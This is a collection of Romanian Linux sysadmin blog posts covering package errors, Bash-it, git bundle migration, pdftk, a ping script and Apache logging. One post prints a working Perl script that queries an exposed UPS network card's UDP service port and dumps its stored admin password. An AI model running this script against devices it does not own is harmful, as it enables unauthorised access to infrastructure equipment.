Categories
Linux Terminal

Debian / Ubuntu relocation error, error code (127) după actualizările recente

Vine o vreme când apar surprize cauzate de actualizări și în zona Debian / Ubuntu.

Cea mai recentă surpriză este eroarea de genul:

relocation error /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference

De la asta, module din apache2.4 nu vor mai vrea să funcționeze (modsecurity2 fiind unul dintre ele), curl (și librăriile php-curl) și încă câteva.

În majoritatea cazurilor de azi-noapte încoace m-am lovit de astfel de erori:

 /usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
/usr/lib/apt/methods/http: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file libidn2.so.0 with link time reference
Reading package lists... Done
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (127)
E: Method /usr/lib/apt/methods/http did not start correctly

punycode_decode_version_IDN2_0.0.0_not_defined_in_file_libidn2.so.0

 

Soluția (cel puțin temporară) este următoarea:

 # wget http://ftp.us.debian.org/debian/pool/main/libi/libidn2/libidn2-0_2.0.5-1_amd64.deb

# sudo dpkg -i libidn2-0_2.0.5-1_amd64.deb

După instalare, un apt-get update && apt-get upgrade -y ar trebui să rezolve problemele.

 

 

 

 

Categories
Încearcă! Linux Terminal

Bash-it – un framework cu ajutorul căruia îți poti controla aliasurile și scripturile

Bash-it este un pachet de scripturi și comenzi pentru versiuni ale Bash mai noi de 3.2, pachet făcut de comunitatea Bash și care aduce funcții modificate, teme, aliasuri, auto-completarea comenzilor și multe alte lucruri interesante. De asemenea aduce o serie de unelte pentru dezvoltatori, integrări ale unor comenzi pentru git și multe alte scripturi cu ajutorul cărora îți ușurează munca zilnică.

Cum se instalează Bash-it în sistemele de operare GNU/Linux

Pentru a instala Bash-it se clonează în primul rând repo-ul într-o destinație la alegerea utilizatorului:

$ git clone --depth=1 https://github.com/Bash-it/bash-it.git ~/.bash_it

Odată clonarea încheiată se rulează următoarea comandă pentru instalare (fișierele ~/.bash_profile sau ~/.bashrc – în funcție de sistemul de operare folosit vor fi salvate automat)

$ ~/.bash_it/install.sh

Veți fi întrebat “Would you like to keep your .bashrc and append bash-it templates at the end? [y/N]”, răspundeți după preferință.

Odată instalarea terminată aceasta poate fi verificată cu ajutorul comenzii ls. Fișisrele și directoarele ar trebui să fie afișate.

Cum poate fi modificat Bash-it în Linux

Bash-it poate fi modificat oricând editând fișierul ~/.bashrc.
Pentru a vedea lista aliasurilor, completărilor și modulelor suplimentare instalate și/sau disponibile se pot rula următoarele comenzi (care de asemenea vor indica cum se pot activa și dezactiva):

$ bash-it show aliases
$ bash-it show completions
$ bash-it show plugins

Pentru a vedea ce aliasuri sunt active se folosește următoarea comandă:

$ alias

Toate aliasurile pot fi găsite în directorul aflat aici: $HOME/.bash_it/aliases/ .
De exemplu, să activăm aliasurile pentru apt:

$ bash-it enable alias apt

Reîncărcam apoi Bash-it pentru a vedea rezultatul:

$ bash-it reload
$ alias

Din ce putem vedea, aliasurile pentru apt au fost activate

Mișcarea inversă se face astfel:

$ bash-it disable alias apt
$ bash-it reload

Căile generale sunt următoarele:

Completările pot fi găsite aici – $HOME/.bash_it/completion/
Modulele suplimentare – $HOME/..bash_it/plugins/
Toate elementele activate pot fi găsite în directorul $HOME/.bash_it/enabled .

Cum spuneam la început, Bash-it are oferă și mai mult de 50 de teme, cea implicită fiind bobby. Tema activă poate fi aflată afișând valoarea variabilei env BASH_IT_THEME

echo $BASH_IT_THEME

Temele pot fi găsite în directorul $BASH_IT/themes .

$ ls $BASH_IT/themes

Aceste teme pot fi previzualizate înainte de a fi folosite cu comanda:

$ BASH_PREVIEW=true bash-it reload

Iar aplicarea uneia dintre ele se poate face editând fișierul .bashrc și adăugând următoarea linie (cu numele temei alese):

$ export BASH_IT_THEME='essential'

Salvați apoi fișierul și reîncărcați-l

$ source $HOME/.bashrc

Căutarea de noi plugin-uri, completări sau aliasuri specifice diferitelor limbaje de programare sau medii de dezvoltare poate fi făcută ușor astfel (de exemplu căutăm ceva legat de comenzile pe care le utilizăm frecvent):

$ bash-it search python pip pip3 pipenv
$ bash-it search git

Iar dacă aveți nevoie de ajutor puteți rula comenzile:

$ bash-it help aliases
$ bash-it help completions
$ bash-it help plugins

Orice scripturi, aliasuri etc. adiacente pot fi adăugate în directoarele respective:

aliases/custom.aliases.bash
completion/custom.completion.bash
lib/custom.bash
plugins/custom.plugins.bash
custom/themes//.theme.bash

Pentru a avea întotdeauna cea mai recentă versiune a Bash-it rulați:

$ bash-it update

Iar dacă la un moment dat nu vreți să mai folosiți Bash-it acesta se dezinstalează astfel:

$ cd $BASH_IT
$ ./uninstall.sh

Scriptul uninstall.sh va restaura fișierele de pornire folosite anterior instalării. Odată procesul încheiat directoarele Bash-it pot fi șterse manual.

$ rm -rf $BASH_IT

Mai multe detalii despre cum poate fi folosit Bash-it puteți afla rulând comanda:

$ bash-it help

Pentru mai multe informații puteți accesa pagina de Github https://github.com/Bash-it/bash-it.

Categories
Linux Terminal Ubuntu

Migrarea unui repo git cu tot cu branch-uri în alt mediu, pe alt server.

A venit și acel moment din viață în care mi-am pus problema migrării unui repo git de pe un server pe altul cu păstrarea branch-urilor și a istoricului acțiunilor.
Și cum altfel decât între medii diferite, fără acces direct între ele.
Ar fi trebuit să fie simplu, dar s-a dovedit că e puțin mai mult de muncă, așa că adun aici (poate așa reușesc să repet mișcarea asta vreodată) lista pașilor de urmat.

Primul pas este să aduc pe local toate datele de pe repo, cu toate branch-urile:

alex@ubuntu:~$ git clone git@github.com:proiectulmeu/test.git

Apoi vine rândul fiecărui branch în parte și încă un pull ca să fie treaba sigură:

alex@ubuntu:~/test$ cd test
alex@ubuntu:~/test$ git checkout master
alex@ubuntu:~/test$ git pull -f
alex@ubuntu:~/test$ git checkout development
alex@ubuntu:~/test$ git pull -f
alex@ubuntu:~/test$ git checkout test
alex@ubuntu:~/test$ git pull -f

Fac apoi un director în care să adun bundle-ul proiectului git:

alex@ubuntu:~$ mkdir bundles

Având toate branch-urile local, am adaptat scriptul făcut de Pagan Maganti (https://github.com/pmaganti/git-bundler/blob/master/bundler.sh) pentru a face un fișier bundle cu toate branch-urile, versiunea mea ajungând să arate cam așa:

#!/bin/bash
cd /home/alex/test
for branch in `git branch -a | grep remotes | grep -v HEAD | grep -v master `; do
git branch --track ${branch#remotes/origin/} $branch || git branch
done && git bundle create ../bundles/test.bundle --all && git bundle verify ../bundles/test.bundle"

În momentul ăsta sunt fericitul posesor al unui bundle care (teoretic) conține toate branch-urile de pe repo-ul care trebuie migrat.

Odată ajuns fișierul cu bundle-ul în noul său mediu, ar fi de restaurat în noua casă și pornită treaba mai departe.

Până aici treaba e destul de simplă, fiind plin internetul de instrucțiuni (exceptând manualul de git care e destul de cuprinzător), și probabil că pot fi numit un vașnic absolvent al școlii ajutătoare de git.

Pe mașina cea nouă bundle-ul terbuie “despachetat”.
După inițializarea unui git nou, desfac budle-ul și fac un merge pe HEAD folosindu-i id-ul. Apoi se fac remapările pentru branch-uri și se “curăță” cu un reset –hard.

alex@server:~$ mkdir test
alex@server:~$ cd test
alex@server:~/test$ git init
alex@server:~/test$ git bundle unbundle ../test.bundle
alex@server:~/test$ git merge d7fd1f4f
alex@server:~/test$ git fetch -u ../test.bundle 'refs/*:refs/*'
alex@server:~/test$ git reset --hard

“În acest mod simplu, pomul ajunge lângă fereastră. Aici, avem avantajul că odată cu pomul putem aprinde și perdeaua.”… asta era din altă scenetă, nu cu git, dar e cumva din același serial.
Acum ar trebui ca proiectul împreună cu toate branch-urile sale să fie restaurate local, calde și numai bune de a fi urcate pe serverul cel nou.

alex@server:~/test$ git remote add origin https://alex@serverulprivatcelnou/proiectulmeu/test.git
alex@server:~/test$ git push --mirror origin

Acum proiectul este restaurat complet în noul său mediu, cu tot istoricul commit-urilor, cu branch-uri și toate cele necesare continuării dezvoltării în noul mediu de lucru.

 

Categories
De-ale mele Linux Ubuntu

Situație neplăcută după ceva upgrade de Ubuntu legată de /etc/init.d/screen-cleanup

S-a întâmplat moment de upgrade la ceva servere de la versiuni mai vechi de Ubuntu… și au apărut și primele situații neplăcute.

Din categoria “Note to self” ca să mă romglezesc corespunzător, în cazul în care mă mai lovesc de următoarea situație:

initctl: Unable to connect to Upstart: Failed to connect to socket /com/ubuntu/upstart: Connection refused
insserv: warning: script 'screen-cleanup' missing LSB tags and overrides
insserv: Default-Start undefined, assuming empty start runlevel(s) for script `screen-cleanup'
insserv: Default-Stop undefined, assuming empty stop runlevel(s) for script `screen-cleanup'

Soluția este:

sudo mv /etc/init.d/screen-cleanup.dpkg-new /etc/init.d/screen-cleanup

După asta trebuie reactivate serviciile care nu mai voiau să pornească automat din cauza “ororii” de mai sus.

Categories
IT Linux

Gata cu “H1 tag missing” raportat de diverse unelte SEO

Și a venit ziua în care m-am plictisit de atenționările primite (în special) de la Bing, dar și de la alte unelte făcute să zică cât de frumos, deștept și prietenos e un site -, cum că-mi lipsește tag-ul H1 de pe pagina principală și asta e durere mare pentru ei.
Așadar, cum nu am dispoziția necesară să schimb tema cu una care să fie (mai) “SEO-friendly”, sau instalarea mai știu eu cărui plugin minune, am aplicat varianta cea mai puțin costisitoare ca timp pentru a rezolva situația dată.
Astfel, în directorul în care stă tema (de obicei /var/www/cum-îi-zice-lui-wordpress/wp-content/themes/nume-temă), în fișierul index.php am adăugat imediat după:

<?php get_header(); ?>

următoarea linie:

<h1 style="display: none;">Numele site-ului meu meseriaș</h1>

Și, spre rămânere aminte, sper să nu uit până data viitoare când voi avea de asta.

Categories
Linux Terminal

“Spargerea” unui fișier pdf cu pdftk

Birocrația noastră e încă în floare, iară companiile chiar private nu fac excepții de la comunicarea pseudo-electronică – îți trimit email cu contractele în format electronic dar nu-l acceptă înapoi decât semnat și ștampilat (eventual pe fiecare pagină) și “cu pix albastru”…
Ideea este că printr-un astfel de proces, după scanare un contract care ar fi fost un pdf de 500kb în formatul său inițial, poate ajunge la 15-20Mb după ce a fost printat, semnat și scanat din nou.
Iar cum sunt puține serverele de email care acceptă fișiere mari atașate emailurilor… apare aici distracția.
Astăzi am fost exact într-o astfel de situație, fișierul care trebuia “întors” avea mai bine de 15Mb.
Așa că am apelat la pdftk (PDF Toolkit) aplicație care este conform denumirii dată de cei care o întrețin “Handy Tool for Manipulating PDF Documents” și cu ajutorul căreia se pot face o mulțime de operații cu fișierele pdf, cum ar fi:
– Concatenarea sau colaj de documente pdf;
– Spargerea în fișiere cu număr definit de pagini
– Rotirea documentelor sau doa a numitor pagini dintr-un fișier pdf
– Decriptarea documentelor pdf (dacă știm parola)
– Criptarea fișierelor pdf
și multe alte operațiuni.

Dar cum tema de azi a fost spargerea în fișiere mai mici… iată cum se produce:
În primul rând se instalează pdftk:

alex@alex:~$ sudo apt-get update
alex@alex:~$ sudo apt-get install pdftk

Iar apoi am generat 3 fișiere mai mici din fișierul inițial după cum urmează:

alex@alex:~$ pdftk initial.pdf cat 1-5 output output_split1-5.pdf
alex@alex:~$ pdftk initial.pdf cat 6-10 output output_split6-10.pdf
alex@alex:~$ pdftk initial.pdf cat 11-15 output output_split11-15.pdf

Iar la final am avut 3 fișiere cu câte 5 pagini și dimensiune sub 7Mb dintr-un singur fișier care avea mai mult de 15Mb.

Pentru lista completă de operatori și exemple rulați cu încredere

alex@alex:~$ pdftk --help

pdftk

Categories
Linux Terminal

Script simplu pentru verificare cu ping

Din când în când prietenii mei de la Telekom/RDS/Enel/”and the gang” încearcă să-mi aducă aminte că există și altfel decât prin facturi… și atunci cred ei că cel mai bun motiv să-ți amintești de ei este să nu mai furnizeze serviciile…

Cum una din primele verificări ca să mă prind de unde/cum se apucă problema e să dau ceva ping-uri am ajuns (repejor) la concluzia că acest proces e musai să fie scriptat și de ce nu, automatizat.

În acest mod simplu pomul ajunge lângă fereastră am ajuns la versiunea X.XX.XXXX a scriptului care îmi verifică prin 4 pinguri adresele dintr-o listă definită în fișierul numit cum altfel: “ipuri”; acest fișier stă în directorul utilizatorului curent (în cazul meu /home/alex)

Iaca conținutul scriptului:

#!/bin/bash

NR=4 #Cate pinguri trag

for i in $( cat $HOME/ipuri )
do
ping -q -c$NR $i > /dev/null

if [ $? -eq 0 ]
then
echo $i "Raspunde la ping"

else
echo $i "Nu raspunde la ping"

fi
done

Iar rezultatul arată cam așa:

ping-test

Eu am făcut scriptul executabil pentru a-l putea rula mai rapid din directorul meu de scripturi.

Categories
De-ale mele Linux Terminal

Șmecheri nemți mai sunt chinezii ăștia…

Mai ales atunci când îi conving pe francezi să copieze un soft american pe care să-l facă să funcționeze pe un echipament german.

Acum puțin timp a venit momentul să schimbăm ups-urile din firmă, nu de alta dar prietenii de la Enel sau cum s-or mai numi acuma au prostul obicei de a opri alimentarea cu energie electrică din când în când… sau, mai grav, nu o opresc, dar nici nu trimit 220V pe sârme…

Și pe lângă noile echipemante și-a găsit locul și unul mai deștept, care să vorbească cu noi (când e cazul), să știe să trimită un email, notificare ceva când se întâmplă lucruri neprevăzute, etc.

Partea aia de deșteptăciune din ups-ul cu pricina poartă numele de CS121, e făcută de nemții de la Generex și echipează mai toate ups-urile de la Eaton, Rittal, AEG, Legrand și Masterguard. Un echipament serios și sănătos așa în felul lui, dar având firmware (custom) și softul făcute de francezi, copiind până la un punct o aplicație deja cunoscută, făcută de americani (franțuziți și ei acuma) la momentul când sloganul acestora din urmă era “Legendary Reliability”.

Bun… Ca de obicei, primul lucru pe care-l fac atunci când îmi pică o jucărie nouă în mâini… schimb parolele (că tot spunea Simona Tache acum ceva vreme că la noi, bărbații, fără parole, viața e pustiu)

Și pun eu frumos acolo parola de bază AnaNuMaiAreMereSocSiGroaza!!!@#$00&72, scriu cuminte aceeași parolă și în al doilea câmp ca să confirm, primesc felicitări pentru cât de inteligentă îmi e parola și sigură etc, salvez și când să întru iar în administrare…. ghinion… iaca parola nu e aia bună. Mai încerc odată, mai scriu toată parola (că de, să nu fie vreun caracter aiurea prins între copy și paste și-mi pic doctoratul din cauza lui)… nimic. Parolă incorectă.
Înjur eu zdravăn tastatura, localele și ce-mi mai vine-n cap că ar putea fi motiv de a fi salvat o parolă greșită, și la final, ca orice inginer care se respectă, pun mâna pe manual să văd cum pot reseta parola.
Ajung eu la pagina care povestește de cât de sigur e mecanismul lor și cum să folosești parole sigure bla, bla, bla, iar la final găsesc o notă mică care zice pe scurt că dacă ai “uitat” (fain că uitat chiar e între ghilimele) parola, poți în baza seriei echipamentului să ceri una nouă direct de la producător.
Înghit în sec, pun mâna pe telefon și sun la cel care mi-a vândut echipamentul… “știi, eu mi-s mai prost așa și nu mai știu ce parolă am pus, poți să-mi zici și mie cum se resetează?”. După câteva minute în care el a sunat la rândul lui la importator/etc. vine răspunsul: “Trimite-mi un email, în care să povestești ce ai pățit, eu îl dau la importator, care-l va trimite la producător care….” OK, îmi zic în barbă, așadar fiind vorba de francezi la mijloc, probabil că săptămânile astea nu mai accesez jucăria… și încep să caut informații despre cât ar putea dura operațiunea.

Și căutând eu pe net, ce aflu?

Că placa cu pricina are un port de service, prin care își aduce update-urile de firmware, intră francezii să îți rezolve problemele etc. și care, culmea (sau nu) stă așa frumos deschis pentru toată lumea care și-ar dori să-l probeze…

Și pentru a testa există și un mic script făcut în perl, care odată rulat afișează mai tot ce te-ar putea interesa… cam așa:

$./upssearch.pl $IP

UPS: CS124-16M32M, ROM-Version: 2.3.4(pduc) - Aug 27, 2010

Target system parameters (current):
Default Protocol : TCP/IP
Default Driver : Ethernet
Mac address : 00-00-00-00-00-00
IP address : XX.XX.XX.XX
Net Mask : 255.255.250.192
Default Gateway : XX.XX.XX.XX
DHCP : 0.0.0.0
DNS : 0.0.0.0
Port for tools : 4000

Searching login
USER: admin, PASS: AnaNuMaiAreMere, ACCOUNT: none

Bucuros nevoie mare că mi-am “hăcuit” propriul echipament, aflu că de fapt nu băgasem eu greșit parola inițială ci mândrețea de soft are limitare la X caractere, iar deși nu spune nicăieri și validează ca fiind corectă orice introducere, stripuiește șirul de caractere la acel X… Multă sănătate poporului programator francez care m-a făcut să-mi pierd câteva ore pe tema asta.

Conținutul scriptului de care pomeneam mai sus este (nu de alta dar poate mai pică și alții în situația asta):

#!/usr/bin/perl -w
use IO::Socket;
use constant MAXBYTES => scalar 1024;

$socket = IO::Socket::INET->new( PeerPort => 4000,
PeerAddr => $ARGV[0],
Type => SOCK_DGRAM,
Proto => 'udp');

$socket->send("");
$socket->recv($inline, MAXBYTES);
print "UPS: $inline \n";

$socket->send("show syspar");
$socket->recv($inline, MAXBYTES);
print "$inline\n";

print "Searching login\n" ;
$socket->send("start");
$socket->recv($inline, MAXBYTES);
$socket->send("cd /flash");
$socket->send("type ftp_accounts.txt");

while($socket->recv($inline, MAXBYTES)) {
if($inline =~ /admin/ig) { print $inline; exit; }
}

sleep(10);

Recomandarea mea, dacă vă pică astfel de echipamente pe mână, țineți portul de service dezactivat. Și nu folosiți parole complicate, bine? 🙂

Categories
Linux Terminal Ubuntu

Apache 2.4 mod_remoteip pentru colectarea în loguri a ip-urilor reale

Într-unul din proiectele recente am avut de pus pe picioare un setup în AWS.
Una dintre problemele pe care nu le anticipasem a fost că ip-urile vizitatorilordin logurile Apache erau suprascrise cu cel al load balancer-ului.

Căutând soluții am ales ceea ce mi s-a părut a fi cea mai simplă abordare și care satisface cerința fără multe modificări și anume folosirea modulului mod_remoteip din Apache 2.4.x

Pentru asta (serverele rulând Ubuntu) pașii sunt următorii:

$ sudo a2enmod mod_remoteip

Apoi în fișierul /etc/apache2/mods-enabled/remoteip.conf sau direct în /etc/apache2/apache2.conf (după dorința fiecăruia) se adaugă:

 RemoteIPHeader X-Forwarded-For

iar în secțiunea de definire a metodelor de log din /etc/apache2/apache2.conf se schimbă:

LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined

în

LogFormat "%a %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined

Adicătălea din %h în %a.

La final se restartează serverul de apache și din acest moment în loguri ar trebui să apară ip-urile reale ale vizitatorilor.

Categories
Linux Ubuntu

VMWare Player 7.x pe Ubuntu 15.04 – telenovela continuă

Se întâmplă destul de des în ultima vreme să văd cum reapar probleme cu funcționarea unor aplicații mai ales după actualizări, mai mici sau mai mari.
Una din problemele vechi ale Player-ului de la VMWare era legată de driverul de rețea, care din motive știute doar de dezvoltatorii de la VMWare nu se mapa corect pe kernel.
Problema, raportată prin 2013 (cel puțin atunci am auzit prima dată de ea), a fost rezolvată odată cu versiunea 6 a playerului.

Și cum lucrurile simple nu puteau rămâne simple, combinația kernel 3. + player 7.x aduce din nou (mai mult sau mai puțin) aceleași probleme…

Pe forumul comunităților sunt prezente multiple soluții care au rezolvat unuia sau altuia problema vmnet-ului… dintre cele testate de mine cea care mi-a rezolvat (deja de două ori problema – întrucât trebuie aplicată după fiecare actualizare de VMWare Player) este următoarea:

$ curl http://pastie.org/pastes/9934018/download -o /tmp/vmnet-3.19.patch
$ cd /usr/lib/vmware/modules/source
$ tar -xf vmnet.tar
$ patch -p0 -i /tmp/vmnet-3.19.patch
$ mv vmnet.tar vmnet.tar.SAVED
$ tar -cf vmnet.tar vmnet-only
$ rm -r vmnet-only
$ vmware-modconfig --console --install-all

Și apoi minune, VMWare Player își poate compila driverele de rețea de câte ori se actualizează el, sau kernelul mașinii.

O copie a fișierului vmnet-3.19.patch am păstrat-o aici.